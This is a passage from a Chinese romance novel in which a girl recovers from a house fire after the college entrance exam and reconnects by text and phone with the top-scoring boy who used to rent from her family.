姜至在沙发处坐了好一会儿,直到外面传来些许动静,就在她准备先回屋的时候,她听到门外传来林淑的声音。
“要我说他们一家就是不厚道,你别说我心狠,这样的家庭能养得出什么善心的人?大家都是饿过的人,看见吃的谁眼睛不发光?当初如果不是我又减房租又减水电的,他那个状元儿子会理我们家姜至?你以为他不嫌麻烦?我之前上去的时候都听见了,他妈让他别嫌麻烦,还说咱们家那么疼女儿,他多上心,以后有的是其他好处,这话我听了都心寒,更别提姜至了,行了,不回就不回了,以后大家全当不认识这个人。”
话落,林淑推开门,姜先舟手里拎了一个西瓜,二人看见客厅里的姜至,林淑问:“吃饭没啊?”
“没有。”姜至声音有些哑。
林淑走过来,“声音怎么哑了,感冒了?”
姜至说:“有点。”
“怎么不吭声,昨晚没睡好?看你一天都没起,还以为你酒劲没缓过来。”
“确实没缓过来,”姜至佯装困意袭来,打个呵欠,眼角瞬间溢出两行泪,她随手抹去,说,“还是好困,眼泪都困出来了,我继续去睡了。”
林淑盯着姜至的背影,在她打开卧室门的一瞬,出声说:“姜至,我跟你爸请了年假,明天出去玩?”
姜至没有转过身,只说:“好。”
她也没有问要去哪,甚至半点兴奋都没有,好像真的很困,只想睡觉。
等姜至关上门,林淑才看了眼刚刚姜至坐过的位置,她走过去,目光落在手边的座机上,心血来潮翻了下去电记录,看见是徐非云的电话,通话时间很短,估计也没说什么。
林淑叹了口气,没把电话拨回去。
姜先舟本来满心思想给姜至切西瓜吃,这下屋里又冷清清的,他忍不住想埋怨林淑,“你瞧你,至于吗?”
林淑瞪他,“你懂个屁,跟
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那搬家公司的人说好,明天上午十点来。”
“知道了知道了。”
-
姜至一语成谶,晚上真的感冒了,第二天起床的时候鼻塞严重,整个人都是晕晕乎乎的。
林淑一大早摸她一脑门湿汗,把人拉起来量体温喝感冒灵,姜先舟则在一旁为她娘俩收拾行李。
天气热,考虑到姜至怕热的体质,一家三口只能往山里跑,好在附近的南边是有山的,眼下学生的暑假还没正式开始,现在出发也不会太拥挤。
九点多钟的时候,姜先舟接到一通电话,他跟人说“随时进来”,没一会儿就有一辆面包车开了进来。
姜至还在吃早饭,闻闻声看了眼门外,问:“谁啊?”
林淑说:“三楼那母子俩叫的搬家公司。”
三楼边户住的也是母子俩,但是姜至今天却什么都没多问,只垂下眼眸,淡淡说句:“哦。”
他们母子俩东西少,又早已提前被他们收拾了大半,几乎没用半个小时就被搬家公司手脚麻利地搬完了。
姜至家的大门敞着,姜至就坐在正对着门口的餐桌旁,目光平静地看着他们搬下来一箱又一箱。
总共好像也没几箱东西吧,虽然住了三年,但留下的痕迹真的不太多。
临走前,司机跟林淑和姜先舟打招呼,林淑体面,笑着跟他们说:“搬完了吗?要不要我们再盯着检查一下?”
司机笑着说:“放心吧,我们录的都有视频,不麻烦你们了。”
林淑:“好嘞好嘞,路上慢点啊。”
司机说好。
姜至家这个院子除了姜先舟的车,几乎没进过第二辆四轮,电瓶车和三轮车倒是没少来往。
面包车破旧,轰隆隆的来,又轰隆隆的走,风一吹,连车尾气都没留下。
林淑和姜先舟不让姜至动手收拾,姜至闲着没什么事,就往院子里转转,徐非云家那只小猫从刚刚就好奇地趴在墙头,这会儿瞧见姜至,歪着头与她对视。
姜至想起从前周识鹤对她的叮嘱,默不作声地走近猫。
她刚伸出手,那猫蹭地一下后退一步,姜至还没继续上前,猫转身就跑了,她连尾巴毛都没摸到。
她看着自己停在半空中的手,只见不远处一只鸟从空中飞过,她目光不由自主地追随,仰头,侧身,目光悄无声息地落在了三楼中间户。
门已经大敞着,和两年前空着等租时,没什么区别。
夏天总归是少风的,可今天却莫名吹来一股又一股无名风。
那风路过三楼,吹向姜至的脸。
风里是燥人的热,呛人的尘,姜至抑制不住偏头咳嗽出声。
屋里林淑听见她的咳嗽声,连忙跑出来,“有风就赶紧回来,这个时候不能见风。”
姜至“哦”一声说:“知道了。”
她回头望了眼那只猫离开的方向,并未追踪它的身迹,这猫年纪不大,以后想必也有摸到的机会。
姜至没再抬头,一路目不斜视,走向自己的家。
31.真好笑
林淑和姜先舟最终选了一个距离青槐开车五六个小时的地方,有山有水,有尚未被商业化的山寨村落,天气虽然不算特别凉爽,但至少没有青槐那么晒。
姜至在车上睡了一路,恍恍惚惚地入梦,又晕晕乎乎地醒来,几次颠簸,她扭头看向窗外,一望无际的蓝天和沁人心脾的青山绿水,却唤不起她半点欢愉之心。
下午临近落日时分,姜先舟把车停进民宿的院子里。
这是一家自建房的民宿,装修风格比较偏年轻化。民宿老板是年轻人,院子里养的有猫有狗,还有几只挂在屋檐下的鹦鹉。
猫狗性格都很好,温和又亲人,鹦鹉见人会说些吉利话。
林淑欣喜地让姜至过去与它们合影,姜至看着林淑手里的镜头,眼前闪过的却是那年新年伊始,她局促地站在少年身边,一同淋过的烟花雨。
姜至根本散不了心。
她的心不在她这里。
可她明明如此心不在焉,林淑和姜先舟却没有过问她半句为什么,渐渐地,姜至明白了什么。
她想到徐非云之前说的那句,大人都很精的。
她觉得自己真好笑。
她以为林淑什么都不知道,结果林淑什么都知道,她以为周识鹤什么都明白,结果周识鹤什么都没留下。
-
六月底,所有高考生可以凭借身份证号或者准考证号查取自己的高考成绩。
这一年,青槐所在的省份,理科一本线555分,三本487分,姜至以总分365的成绩,换来林淑一句:“比我预料的还多一点,我以为你上不了三百呢。”
姜至没说什么,只是扫过66分的数学成绩时,想起高三百日誓师大会上,周识鹤隔着遥远的百双千双眼睛的距离,对她说的那句“多努力,会成功的”。
这是她高中三年以来,数学唯一一次上六十分。
只可惜,她差太多了。
这点努力与成功实在是微不足道。
“你这点分就别往外跑了,我跟你爸回头托人问问省会的学校,咱们自己省内,自己人多少占点优势。”林淑说。
姜至没有发表意见。
隔天姜至在家里听到院里有人议论今年的状元,有人说是男生,有人说是女生,有人说是天中的,有人说是槐中的,起初她并不想听,拿起遥控器把电视机的声音调得很大。
等听不到外面的声音了,姜至盯着电视机看了一会儿,又默默关了电视机,她真心想去听一听到底还说了些什么的时候,却又什么都听不见了。
没一会儿,又人来敲门。
姜至去开门,看见是二楼的租户。
她跟姜至说:“三楼的电路问题影响到二楼了,今天连续跳闸好几次了,你爸妈什么时候下班?”
姜至看了眼墙上的挂钟,说:“要不了多久了。”
结果租户走后没多久,姜至就接到林淑的电话,说她和姜先舟晚上有事,让她不要等他们。
姜至顺嘴说:“三楼的电路影响到二楼了。”
林淑说:“知道了,跟他们说先凑合一晚,明天早上我就找人来修。”
姜至“嗯”了一声。
姜至本想直接在院子里喊一声二楼的人,可一抬头,目光很自然地就落在了三楼那间中间户。
徐非云家里那只猫居然在他们家窗口悠闲自在地舔爪子,看上去有点耀武扬威占人门户的意思。
姜至盯着看了一会儿,碰巧二楼的人出来,姜至立马说:“我妈今晚有事,说是明天找人来修。”
那租户看上去不太高兴,但又没办法。
大夏天的,没有电都为难。
姜至理解,但她也没办法,只能先回自己家。
路过厨房的时候,她闻到一股臭臭的味道,姜至探头往里看了眼,凑近了闻,又什么都闻不到了,以防误判,姜至还特意打开冰箱检查了一翻,确定没什么坏掉的东西才放心地回屋。
晚上姜至睡得很早,也意外地睡得很沉。
稀巴烂的高考成绩似乎没有影响到她半分,或许是她早就明白自己几斤几两,并未对其有过更高的期待。
梦里姜至又见到那扇树洞里的门,只是这天门并未大敞着,而是只开了两拳宽的缝隙,缝隙里漆黑一片,隐约有浓烟飘出。
姜至疑惑地推门,却怎么也使不上劲,她想凑上前去看,却被烟呛得睁不开眼。
她忽然想起周识鹤,心急如焚。
她拿手去推,却被烫地后退一步。
再抬头看那门,不知何时燃起摇曳的火,火苗似鬼爪,想将姜至抓进去。
“姜至!”耳边一道呼声,夹杂着猛烈的拍门声。
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姜至从梦中惊醒,刚睁眼就被呛得满脸泪。
眼前一片漆黑,角落的却有火光溢出,那好像是插口的地方。
“姜至!”是林淑。
姜至人生第一次经历这种事情,她几乎瞬间清醒,鞋都没穿就开门往外跑,这一推门才发现客厅不知何时也全是浓烟。
她捂着嘴往外走,发现烟的来源是厨房。
走近了看,厨房角落已经燃起了火,那火将灶台烧得明亮,门外继续传来林淑和姜先舟的声音,姜至这才想起来应一声:“妈!妈!”
“我这就出来——”姜至话音未落,听见林淑大喊一句:“先别碰!”
林淑出声的同时,姜至手碰及门把手,这一碰,五个指心瞬间如针扎一般。
她痛叫出声,攥着手往嘴里呼气。
门外林淑大喊:“别碰门把手!”
姜至疼的眼泪一瞬落下,她听见林淑在外面喊让她让开,她还听见有人说拿湿毛巾,姜至想也没想就往厨房里去,她拿抹布冲水,刚准备离开厨房,忽然听见一道很细微的呲啦的声响。
她怔在原地,目光一处一处地去寻,最终落在角落的暖气管道上。
天很黑,屋里几乎没有其他光线,只有隐约的火光,可姜至却好像看到了那管道表面上慢慢炸开的纹路。
姜至张了张嘴,想唤林淑,可一张嘴,喉咙似乎被烟火桎梏。
她慢慢瞪大眼睛,直到耳边“砰”一声巨响,屋里瞬间灌满了凉风。
她蓦地扭头看去,只见姜先舟把门冲开了。
姜先舟进门就喊人,姜至声音很轻地唤了一声“爸”,如此杂乱的情势下,姜先舟居然立马就听见了。
他扭头看见站在厨房里的姜至,两步冲进来,抓起姜至就往外跑。
姜至想跟他说话,想问他厨房是不是会爆炸,想问是不是三楼电路老化的问题,是不是因为他们家电路总闸在厨房,所以厨房才会着火。
她还想问,三楼也着火了吗?
是三楼那间单间着火了,还是整个三楼都烧了。
已经全部烧没了吗?
然而她刚张开嘴,下一秒耳边鸣起爆破声,后背也如海浪一般,掀过来滚滚热气。
姜至眼前一黑,感觉自己整个人往前趴了一瞬,紧接着,便什么也不知道了。
32.可惜了
搬家公司把东西送进村子的时候,周边几户邻居都出来凑热闹。
“这是毕业了吧?”
“分数下来没啊?”
“哎别操心了,人家肯定又是第一名。”
“大学得是首都的名校吧,咱村里也是出大学生了。”
周识鹤一句话没说,也不在意这几天村里谣传的“周家那孩子也就成绩好,人呆得很,谁问都说不出三句话,一看就是读书读傻了”等一系列流言蜚语。
跟搬家公司交付完尾款后,周识鹤不急不躁地整理东西。
这几年老家房子都是翻新增盖,只有周识鹤家还维持在一层小平房的原样,家里一共也就三间房,一间堂屋,爷爷奶奶住一间,邓丽住一间,剩下一间杂物室暂时给周识鹤住。
周识鹤爷爷看周识鹤那么大个子在屋里走来走去,嘴里一直念叨他们家没本事,周识鹤起初还劝两句,后来发现爷爷根本听不进心里去,他也全当听不见。
然而周识鹤并非是个没有心的人,他可以装作耳朵听不见,心却没法完全停止跳动。
这些言语很多时候就如空气中细微的尘粒,看似不起眼,不知不觉间就给人心覆盖了一层灰蒙蒙。
人心一旦灰了,外面的阳光再亮,都是看不见的。
-
老家的日头无趣,有年轻的家长听说村里出了大学生,拎了点米面油来家里,明里暗里希望周识鹤能给孩子教点什么。
周识鹤接了一个孩子,渐渐就有了第二个孩子,第三个孩子……
爷爷奶奶只知道读书有用,从未见过读书究竟能换来什么真切的物件,此刻家里摆满了村民送来的东西,他们更加由衷感慨:“真好啊,读书真好啊。”
六月底,高考成绩公布。
这天周识鹤跑了一天医院,爷爷胳膊疼,奶奶莫名尿血,邓丽想给爷爷做点饭,刀柄松了,刀刃切伤了她的腿,一家子没一个太平的。
等周识鹤缓过神,家里多了几个人,为首的是江跃。
江跃此次前来,是为了周识鹤的择校,他身后是华清的招生办老师。
周识鹤抓了抓睡乱的头发说,“我还没查分。”
江跃说:“查过了,707。”
按理说这分不低,不该只换来这么一句轻飘飘的话,可江跃却没再多说什么。
周识鹤谈不上自己什么心情,好像也没有特别强烈的挫败感,只是觉得这懒觉睡得似乎有点太久,头有些晕晕的。
他目光越过江跃看向外面,蓝天白云,阳光明亮,只是那日晕有些闪,恍糊了他的视线。
“我们知道你的处境,对你很是倾佩,国家和学校需要你这样的人才,为了表示我们的真诚,除了基本的入学奖学金,我们会免除你本科的全部学费和住宿费,饭卡也会给一定的充值,专业院校任选,研究生导师的名额也会给你保留,考虑到你母亲的情况,学校会调一套职工宿舍给你的母亲,每月也会有相应的补助……”
对方每提出一个点,爷爷奶奶都忍不住抹眼泪,嘴里不停地念叨“感谢感谢”,邓丽倒是没那么夸张,但是眼泪也没停过。
送走招生办的人后,周识鹤只问了江跃一个问题:“多少分啊?”
江跃闻声先是沉默了片刻,随后拍拍周识鹤的胳膊,口吻略显沉重,“708。”
只差了一分。
其实周识鹤从未强求过什么状元榜眼这种头衔,第一名第二名他也未曾放在心上,只是如果连续三年都位列第一,却在站点以一分之差擦肩而过,还是难免觉得……
有些可惜了。
“一个阶段一个故事,这个故事已经结束,就不要再想了,下一篇的开端更为重要,”江跃大概是想分散一下他的注意力,唠家常一般问,“什么时候回来的?还以为你会在青槐待到分数公布,差点把招生办的人带去你租的房子那边。”
“回来有一段时间了,家里出了点状况。”周识鹤说。
“是爷爷胳膊的事情吧?”江跃问,“处理好了吗?伤筋动骨一百天,可不能不当回事。”
周识鹤“嗯”一声,“盯着呢。”
江跃想起什么,又说:“你之前租的房子是姜至家的啊?”
周识鹤“嗯”一声,想问点什么,又直觉江跃作为班主任,提及姜至的成绩难免会点评点什么,便又忍了回去。
“那孩子学习这块没天赋,这也是没办法的事,家里尽力她也尽力了,”说到这些,江跃也顺嘴发表了很刻板印象的言论,“女孩子嘛,又是独生女,家里条件好,以后估计会铺个稳当的路,考好考差不影响。”
话都说到这个份上了,周识鹤也不再憋着了,旁人也许总觉得姜至“差不多就行了”,可周识鹤总归是在她身上付出过努力的,总要比别人多几分期待。
“上本科线了吗?”他问。
江跃笑了,“那哪能啊,三百多分。”
周识鹤“哦”了一声。
“其实相较她的入学基础,这分数还行,省内估计也能挑个差不多的财会,”江跃说,“不过他们家最近应该没什么心思挑学校了,分数刚下来我就跑去了,我以为你还在那里,去了才看见家里都没样了,好像是电路老化导致失火了,一楼厨房都炸了,听说当时家里就姜至一个人,这会儿还在医院呢。”
……
姜至没被烧伤,手指被烫伤得也不算太严重,她记忆里自己最后往前趴了一下,本以为后背会被烧伤,结果醒来的时候,发现自己只有脑子是晕的。
林淑说她那下是被姜先舟拽的,一头磕在地上,撞出了脑震荡。
姜先舟自己也没受什么伤,这场本该能预防的火,似乎也没有完全想要伤害他们,楼上楼下无一人重伤或死亡,只带了这风雨里伫立多年的老房子。
按林淑的话来说就是:“不幸中的万幸,房子都是虚的,人才是真的,正好姜至今年也上大学了,房东什么的我也当够了,这房子不研究了,回头问问有没有人买地皮,至于咱们这一家人,挑个合适的小区搬进去。”
说起这个,姜先舟来了兴致,“城南新开的那个楼盘我看就不错。”
林淑:“那个太晚了,咱们还能再租一个房子住两年不成?”
“那有什么妨碍?”姜先舟对那个楼盘满意得很。
林淑本来想问问他到底满意哪里,一抬眼看到姜至还晕晕乎乎的,忙问:“你现在还想吐吗?”
姜至一会儿点头一会儿摇头的,姜先舟让林淑别跟她说话了,自己则跑去找医生。
好在问题不算太严重,再加上姜至也年轻,基本不用再做其他的治疗了,当下姜至的主要任务就是好好休息。
林淑交代说:“学校专业什么的我来给你办,你什么都不懂,别上赶着操心了。”
提及关键词,姜至似乎才略微清醒了一些。
她逐渐捡起近日的经历,比如自己出去玩了,比如高考分数已经下来了,比如,她的高中生涯终于结束了。
可她并不期待大学,对未来也充满了迷茫与谨慎。
真是奇怪,明明之前还很期待大学的,现在却又觉得她如果能一辈子在青槐上学也挺好的。
姜至想着想着,又天旋地转地睡过去了。
再次醒来是半夜,姜至入住的病房是林淑亲友安排的独立病房,没有外人打扰,林淑在陪床睡得很沉,姜先舟自打出事以来就在处理各种事,租户的损失和未来的住处都要上点心,所以晚上不在这边。
姜至不知道自己睡了多久,只是刚翻个身,就想上厕所,她看了眼熟睡的林淑,没忍心打扰,自己起身下床,轻手轻脚地拉开门,走了出去。
走廊开着小夜灯,有值班的护士
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在服务台打盹,姜至左右看了眼标牌,找到卫生间的方向,刚要抬脚过去,忽然眼前一恍,她急忙伸手扶住旁边的墙壁。
与此同时,还有另一只手扶住了她。
“谢谢。”睡了太久,嗓子都是哑的。
姜至低声道谢,缓了几秒钟,抬起头看向来人,愣住。
姜至一直是个很瘦的人,在周识鹤眼里,她也不是个高的人,但她整日眼睛亮亮的,倒也没给人过弱不惊风的印象。
这是唯一一次,周识鹤感觉姜至好像一个瓷娃娃,她几乎快要碎掉了。
周识鹤看着她披散的有些发黄的头发,额角贴着的纱布,因缺水太久而起干皮的唇瓣,以及那双略显混沌的眼睛。
周识鹤想起小时候陪邓丽一起看过的很老的一部古装偶像剧,里面的主角经由一次意外瞎了眼睛,头也在失足马车的时候撞破,天生丽质的女演员给少不经事的周识鹤留下很深的印象。
如今那抹猝不及防的冲撞力再次贯穿周识鹤的大脑。
他似乎能够明白,当时的男主角为什么露出那样痛心却又很小心谨慎的眼神。
此刻周识鹤也不知道该做些什么,他连扶在姜至胳膊上的手都不敢用力,生怕再给她折了伤了。
“你……要去厕所?”他问姜至。
姜至自始至终看着他,她总是如此毫不遮掩地看着他,似乎一点也不介怀被他看出什么。
她是个坦诚的好孩子。
按照正常言谈,姜至大概要问一句“你怎么来了”,可她却跳过这个,问周识鹤,“你为什么在这?”
周识鹤说不出个所以然,沉默地做个哑巴。
姜至恨自己是个没出息的,也恨自己太会为他人着想,她完全没有觉得自己在自作多情,她只是看周识鹤一眼,就知道他此番前来,就是为了看她。
而她也瞬间便把近日所有的委屈和不解统统抛之脑后。
她理解他,她猜想他一定有苦衷和为难。
毕竟他的生活总是那么为难他。
好讨厌。
姜至心里那么想,可一张嘴,眼泪却比伤人的话先一步冒出来。
她真是没有办法了。
姜至想。
她低下头,任由眼泪一滴一滴狼狈地往下落。
周识鹤手忙脚乱地想给她擦泪,手伸一半又缩了回去。
他愚笨得很。
可姜至却觉得他这样不娴熟反而更让她心动。
“你是……哪里疼吗?”周识鹤说,“我去喊医生吧。”
姜至抹了把泪,低声说:“不用。”
两个人谁也没动。
周识鹤更没有其他话说。
只好是姜至出声:“我要去上厕所。”
“我扶你。”周识鹤说。
姜至没应声,只是顺着抬起往厕所的方向走。
走着走着,她忽然想起什么,扭头问:“你考了多少?”
“707。”周识鹤说得平静。
姜至却一愣,她听林淑说了,今年状元并列有两个,一个在省会,一个是天中的,分数708。
姜至感觉自己比得知自己分数时还懵,她不敢相信,睁着眼睛盯着周识鹤看,企图从他面容捕捉到任何一丝情绪。
可什么都没有。
他平静得就好像这分数他已经知道八百年一样。
姜至觉得如果是自己,哪怕是八百年后提起此事,她也会露出不甘心的表情和不服气的叹息。
他怎么又被为难了呢。
生活怎么老逮着他一个欺负。
姜至甚至很生气,她胸口不受控制地起伏,好一会儿,还是眼泪先冒出来。
这一次,周识鹤却意外地明白她所为何哭。
他成了那个安慰她的。
“没事,没事的。”
33.我知道
林淑是个很有远见的人,早年她有个朋友第一批下市场卖保险,成了人人喊打的诈骗犯,林淑却觉得那些条款清清楚楚,不像是诈骗的样子,于是为了捧朋友的生意,给全家每个人都买了一份保险,包括他们所住的房子。
只是林淑当时买完没多久就忘了,家里失火后到处兵荒马乱的,她也没想起来,还是事情上了新闻,被她朋友看见,主动来联系她提起保险的事,林淑这才想起来这茬儿。
之后的日子便是姜先舟陆续给租户们找到新的住处,房租与损耗该怎么赔怎么赔,姜至在医院住到第五天时,因为忍受不了无聊和寂寞主动提出出院,林淑和朋友跑保险赔偿,托朋友先租了一套三室一厅的小区房,顺便给姜至买了新电脑和新手机。
七月下旬,姜至收到来自省城一所财会院校的录取通知书,距家不到三百公里,开车快了两个半小时就能到。
彼时是2015年夏,从青槐直达省城的高铁还未建成,火车也需要从邻市的火车站坐,班次倒是很多,实在买不到票坐大巴也是很好的选择。
可姜至却没有第一时间查看自己什么时间去合适,而是先看了去首都的班次与时长。
十二个小时。
可真远啊。
姜至给周识鹤发短信:【你怎么去首都?】
周识鹤回得很快:【学校买了机票。】
姜至:【阿姨方便吗?】
周识鹤:【没事的。】
姜至看着这简短的三个字,想起那天他用这样贫瘠又生硬的词语安慰她。
……
剧烈的情绪波动导致她后来又有些头晕。
她栽进他怀里,闻到他领口洗衣皂的味道。
那是一种给人很古早,却又很安心的味道。
姜至靠在他胸口不动,她听到他心跳如鼓,剧烈又高频。
好一会儿,她感受到他的手放在她后背上,他轻轻拍两下,低声问她:“要叫医生吗?”
姜至摇了摇头,手用力地攥住了周识鹤的衣角。
后来林淑找出来,姜至及时和周识鹤分开,又拉他去旁边的安全通道口。
过道黝黑,脚下泛着安全提示牌的绿光。
这里实在不是说话的好去处。
可他们已经无处可去,也没有更多选择。
甚至连时间都在倒计时。
两个人都沉默着,谁也不知道该开口说些什么。
林淑再一声问询传来,周识鹤才说:“是你妈。”
姜至心想她又没真的把脑子摔坏,她当然知道是她妈。
她低声说:“我感觉我妈什么都知道。”
周识鹤似乎先是反应了一会儿这个知道是知道什么,随后才缓声说:“我知道。”
姜至闻声抬头看向他。
这里实在太安,他们无法看到对方的面容,只能感受彼此的呼吸。
姜至感觉自己的呼吸重了一些,她试图看到周识鹤的眼睛,她想问问他知道什么,他又知道林淑知道的是什么吗?
“你……”姜至口舌发硬,说不出完整的话。
她感觉自己又开始发晕了,耳边嗡嗡的,世界似乎只剩下一片黑暗和她重重的心跳声。
她真的快要窒息了。
“1386659……”在安全通道口外传来脚步声时,姜至感觉一道浓烈的呼吸扑向自己的脸,她眼睫轻颤,腿脚却灌了铅,她身板硬得像铁块,不敢动弹,只能周识鹤的呼吸擦过她的脸颊,落在她耳边,“我的手机号。”
“我等你找我,姜至。”
少年转身下楼,脚步轻盈,楼下的安全通道门适时打开,微弱的光探进来,照亮少年匆匆离去的那一角衣摆。
皱皱巴巴的,又乱七八糟的,好像姜至那颗在空中乱飞的心。
姜至后来辗转反侧,不停地往回倒记忆,始终不敢确认自己记的那十一个数字究竟准不准确,梦里颠来倒去也都是这十一个数字。
直到她拿到新手机,她想了又想,犹豫踌躇十几次,给自己记住的号码发了一条空白短信。
短信发出去那一刻,她的心如同那天靠近周识鹤胸口一般,心脏狂跳,呼吸发紧,手心也不自觉地出汗。
一秒,两秒。
时间匆匆又漫长。
手机“嗡”地一下响了。
震得姜至掌心发麻,连同心脏一起发颤。
她慌乱又急迫地打开手机,看到短信页面一条新收短信。
【姜至。】
嗡。
又进一条。
【我知道你能记住。】
这明明是新手机,手机外壳是冰冷的塑料,可这一刻放在姜至手里却像烧红的烙铁,她将手机攥得很紧,盯着自己那条空白短信换来的两条简短语句。
良久,她咧嘴笑了。
……
此刻,姜至再次看到这三个字,还是咧嘴笑。
她继续问:【你什么时候走啊?】
周识鹤:【还没确定。】
周识鹤:【确定了跟你说。】
姜至:【嗯嗯。】
发完这句,姜至把手机丢到床上,没几秒钟又拿起来,看一眼短信屏幕,又丢回床上,反复几次,她再次把手机拿起来,手指在键盘戳几下,还没戳出一句完整的“你现在在干什么?”,忽然收到一条新的。
周识鹤:【你什么时候走?】
姜至抿着唇,眼睛却弯出不可控制的弧度。
【还没想好,应该是报名那一天,我爸妈送我过去。】
周识鹤:【好的。】
这次,姜至没有任何犹豫,发过去问:【你现在在干什么啊?】<
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p>周识鹤:【在医院。】
周识鹤下一条短信还没来得及发出,姜至就直接一个电话拨过去了,周识鹤那边接得很快,姜至语气里是难掩的担心,“你怎么了?怎么在医院?”
姜至太慌了,以至于她没听清,周识鹤似乎是笑了一下,很轻,像一阵轻飘飘的风一般。
她愣了下,听见周识鹤说:“带我爷爷来拆板,他上个月摔断了胳膊。”
姜至的心一下子落回了安稳处,她此时才惊觉二人居然就那么莫名其妙地打起了电话,手机和之前周识鹤做的纸杯听筒固然不同,声音很清楚,呼吸也一同能传进耳廓里,姜至耳朵温度不由自主升高,她有些紧张,心跳连连,为了转移自己的注意力,一会儿捏捏被角,一会儿摸摸枕头角,实则不管摸些什么,心思还是能一瞬被周识鹤勾走。
“好吧,”姜至问,“爷爷多大了?”
“六十了。”周识鹤说。
姜至有些担心,“那是不是很严重?”
周识鹤说:“现在还好,他比较听医生话。”
姜至听到他这样形容自己的长辈,笑了笑,“你现在还在忙吗?”
周识鹤顿了下,说:“不忙。”
姜至心里松了口气,也感到庆幸,如果周识鹤很忙,她可能就要挂断电话了。
她闲聊一般问:“爷爷上个月刚摔的吗?”
周识鹤“嗯”了一声。
姜至本来只是随口一问,冷不丁想起上个月的时间节点,蓦地一怔,随后问:“上个月什么时候?”
周识鹤默了瞬,如实说:“搬家那天。”
这次轮到姜至沉默了。
她沉默了好久,忽然笑了,眼角闪着泪花,说一句:“我猜肯定也是有原因的。”
“对不起。”周识鹤出声。
姜至说:“我不怪你,真的,周识鹤,我不会怪你的。”
这边林淑下班回来,姜至才恋恋不舍地挂断电话。
周识鹤就站在诊室门口,把手机放回口袋后,他看着诊室里,医生给爷爷拆掉夹板的胳膊消毒,消完毒又给他准备绷带,将胳膊吊在脖子上,千叮咛万嘱咐一定要小心谨慎,不能二次受伤。
爷爷生怕多待一会儿就要收钱,着急忙慌地往外走。
周识鹤咨询医生其他注意事项,医生笑着调侃说:“别光顾着谈恋爱,老人一般都轴,你得多把心思放在他身上。”
周识鹤从小到大别说被外人调侃,被身边人调侃的机会都极少有,一时间有些难堪,他扯唇笑了笑,朝医生点头道谢,起身离开。
走出诊室后,一阵穿堂风从远处吹来,周识鹤被风吹得微微眯起眼睛,来往皆是病人及家属,行色匆匆,医院本不是明亮的地方,周识鹤却在走廊尽头看到一团簇拥的光。
他抿唇笑了笑,大步朝前走去。
34.好天气
姜至新搬的地方在城南,小区不是新小区,绿化很一般,邻居很多养猫养狗的,但是出门遛狗从不捡屎。
林淑本就非常讨厌这些猫狗,眼下连同没素质的邻居一起讨厌。
今天还没进家门就踩了一脚狗屎,气得嘴歪眼斜,进门就说:“赶紧看房子,搬走!”
姜先舟从厨房出来,说:“好素质的邻居都在新楼盘,新楼盘住进去可有的时间等。”
林淑都懒得回应,径直往卫生间走去,路过姜至房间的时候敲她的门,“姜至,你有同学找。”
姜至还沉浸在与周识鹤打电话的欢喜中,闻声有些吃惊地跑出来,“谁啊?”
林淑说:“陶馨,她让你给她回电话。”
姜至眼睛一亮,催促道:“手机号给我。”
姜至拿到陶馨的手机号立马就拨过去,陶馨接得很快,出声就喊:“姜至!”
姜至咧着嘴笑,“你怎么知道是我?”
陶馨:“猜的啊,我聪明。”
姜至“嘿嘿”两声,往房间走去。
刚关上门,陶馨就问:“报哪儿了?”
姜至说:“省城。”
陶馨:“就猜到,我也在省城!”
姜至:“真的假的!”
陶馨:“当然是真的,咱俩又可以在一起玩咯。”
姜至:“你在哪个学校?”
陶馨:“一个还可以的二本,不知道离你远不远。”
姜至让她报学校地址,陶馨说:“报了你也不知道,回头开学再看吧。”
姜至一想也是,问:“湘智考去哪啦?”
陶馨说:“分数过一本线啦,但是学校一直没选合适的,最后还是去了二本,在义安。
姜至:“也很不错啦。”
俩人越聊越上头,好像几百年没见过了一样,甚至约着过几天一起出去玩。
“你有没有搞q.q微信啊?”陶馨忽然问。
姜至一愣,这才想起来这茬儿。
自打有了手机,她第一时间就是跟周识鹤联系,周识鹤那个孤僻老古董,显然平时也不用这种社交软件,两个人居然谁也没想起来注册。
“赶紧搞吧,顺便再下个贴吧,以后大学用到的时候多着呢。”陶馨说。
姜至连声感谢。
陶馨:“口说无用,大餐奉上。”
姜至笑嘻嘻:“收到。”
-
姜至说着跟陶馨代湘智吃饭,可代湘智考完就去她爸妈那里了,三个人一直没约上。
眼看进入八月,林淑和姜先舟开始为姜至准备开学用品。
对于这种东西,林淑一向喜欢亲力亲为,哪怕同事都说可以到那边再买,她还是成批地往家里买快递。
林淑晚上买,姜至白天负责拆,一边拆一边跟周识鹤吐槽说:【这些东西好重,搞不懂干嘛一定要现在买。】
周识鹤近期也忙,爷爷身体不好,奶奶帮不上忙,同乡的长辈联系他问他愿不愿意把地租出去。
爷爷奶奶自然是不愿,生怕钱上亏了,地上又被人祸害了。
周识鹤费尽心思劝说了好几天,爷爷奶奶才算松口答应。
平日里,爷爷奶奶没用过银行卡什么的,老人家花钱地方少,也不舍得花钱,可以后路途遥远,周识鹤和邓丽回来的次数必然少之又少,人没有办法在跟前尽孝,钱上总不能差太多。
周识鹤每天都带爷爷奶奶往镇上跑,教他们怎么取钱,怎么存钱,甚至连花钱也要教。
毕竟现在逐渐进入数字科技时代,到处都在使用手机支付,如果爷爷奶奶学会收款,以后给他们打钱也方便很多。
他忙着从言行举止托举父母长辈,姜至却在吐槽自己被父母托举得太严谨。
周识鹤想起之前听陶馨她们喊姜至公主,其他不了解的同学总觉得这是好友调侃,想必只有周识鹤和陶馨她们知道,这声公主,姜至当之无愧。
周识鹤看着姜至发来的快递照片,笑了笑说:【现在买好,开学就不慌了。】
过了一会儿,周识鹤收到一条姜至发来的语音。
“那你呢?你买了吗?”
她应该在家里沙发坐着,人想必很松弛,以至于声音懒懒的,显出几分亲人的亲昵。
周识鹤莫名想到院里那只猫,虽然总是很警惕,但摸到手里,毛骨又着实软软的,柔柔的。
他也干脆发过去语音:“还没有。”
声音跟想象中一样生硬又冷淡。
姜至撇了撇嘴,点开语音又听了一遍,听着听着嘴又翘起来。
俩人几乎每天都在聊天,从早到晚。
姜至逐渐体会到毕业的自由,甚至感觉自己心里有什么爪牙在随着跟周识鹤的聊天密切而生长。
她总是反复听周识鹤发来的一些带着感叹口吻的语音,有时候他也会给她发一些日常照片,比如摸摸看家狗的脑袋啦,又或者是陪着邓丽一起散步啦。
她也喜欢狗,可盯着那狗脑袋看两三秒后,目光就不由自主落在了放在狗脑袋上面的那只手上。邓丽散步更是没什么好看的,无非就是农村的夕阳落日没有高楼遮挡而显得更加完整,可姜至却始终盯着地上那道修长的影子看个不停。
唉。
姜至在被窝里翻个身,觉得自己这辈子可能无药可救了。
这天是个阴天,阴天固然不好,可在夏日暑气却显得难能可贵,林淑和姜先舟上下班脸色都不一样了。
